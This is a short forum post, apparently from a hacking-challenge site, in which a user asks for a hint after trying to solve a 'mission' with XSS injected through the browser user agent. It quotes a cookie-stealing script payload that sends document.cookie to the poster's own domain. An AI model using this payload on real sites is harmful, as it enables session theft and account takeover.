Hello everyone!

I've tried to solve this mission by creating a cookie stealer and manipulating the user agent. I tried out the cookie stealer and it seems to work. This is whalt I put into the user agent: 

<script><!-- document.location="http://<my domain>/cookiestealer.php?stealcookie="+document.cookie; --></script>

I first tried it with the Brave browser (based on Chrome) and Firefox on my laptop, but my firewall seems to block the XSS. Then I tried it with the Dolphing browser on my phone, but it only displays what I've put into the user agent.

Am I on the wrong track? Can anyone give me a hint please?

Regards